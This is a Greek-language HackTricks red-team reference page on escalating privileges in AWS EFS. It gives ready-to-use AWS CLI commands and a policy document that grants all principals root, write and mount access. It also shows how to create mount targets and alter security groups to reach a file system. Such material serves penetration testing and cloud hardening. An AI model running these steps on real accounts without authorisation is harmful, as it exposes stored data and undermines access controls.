AWS - EFS Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

EFS

Περισσότερες πληροφορίες για το EFS στο:

pageAWS - EFS Enum

Θυμηθείτε ότι για να προσαρτήσετε ένα EFS πρέπει να βρίσκεστε σε ένα υποδίκτυο όπου το EFS είναι προσβάσιμο και να έχετε πρόσβαση σε αυτό (ομάδες ασφαλείας). Εάν συμβαίνει αυτό, από προεπιλογή, θα μπορείτε πάντα να το προσαρτήσετε, ωστόσο, εάν προστατεύεται από πολιτικές IAM, πρέπει να έχετε τα επιπλέον δικαιώματα που αναφέρονται εδώ για να έχετε πρόσβαση σε αυτό.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Με οποιαδήποτε από αυτές τις άδειες, ένας επιτιθέμενος μπορεί να αλλάξει την πολιτική του συστήματος αρχείων για να σας δώσει πρόσβαση σε αυτό, ή απλά να το διαγράψει έτσι ώστε να χορηγείται η προεπιλεγμένη πρόσβαση.

Για να διαγράψετε την πολιτική:

aws efs delete-file-system-policy \
--file-system-id <value>

Για να το αλλάξετε:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Με αυτήν την άδεια, ένας επιτιθέμενος θα μπορεί να προσαρτήσει το EFS. Εάν η άδεια εγγραφής δεν δίνεται από προεπιλογή σε όλους όσους μπορούν να προσαρτήσουν το EFS, τότε θα έχει μόνο πρόσβαση για ανάγνωση.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Οι επιπλέον άδειες elasticfilesystem:ClientRootAccess και elasticfilesystem:ClientWrite μπορούν να χρησιμοποιηθούν για να εγγράψουν μέσα στο σύστημα αρχείων αφού έχει προσαρτηθεί και να έχουν πρόσβαση σε αυτό το σύστημα αρχείων ως root.

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομιακών δικαιωμάτων εντοπίζοντας ευαίσθητες πληροφορίες στο σύστημα αρχείων.

elasticfilesystem:CreateMountTarget

Αν ένας επιτιθέμενος βρίσκεται μέσα σε ένα υποδίκτυο όπου δεν υπάρχει σημείο προσάρτησης του EFS, μπορεί απλά να δημιουργήσει ένα στο υποδίκτυο του με αυτήν την άδεια:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομιούχων δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στο σύστημα αρχείων.

elasticfilesystem:ModifyMountTargetSecurityGroups

Σε ένα σενάριο όπου ένας επιτιθέμενος ανακαλύπτει ότι το EFS έχει σημείο προσάρτησης στο υποδίκτυό του, αλλά κανένα security group δεν επιτρέπει την κίνηση, απλά μπορεί να το αλλάξει τροποποιώντας τα επιλεγμένα security groups:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στο σύστημα αρχείων.

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated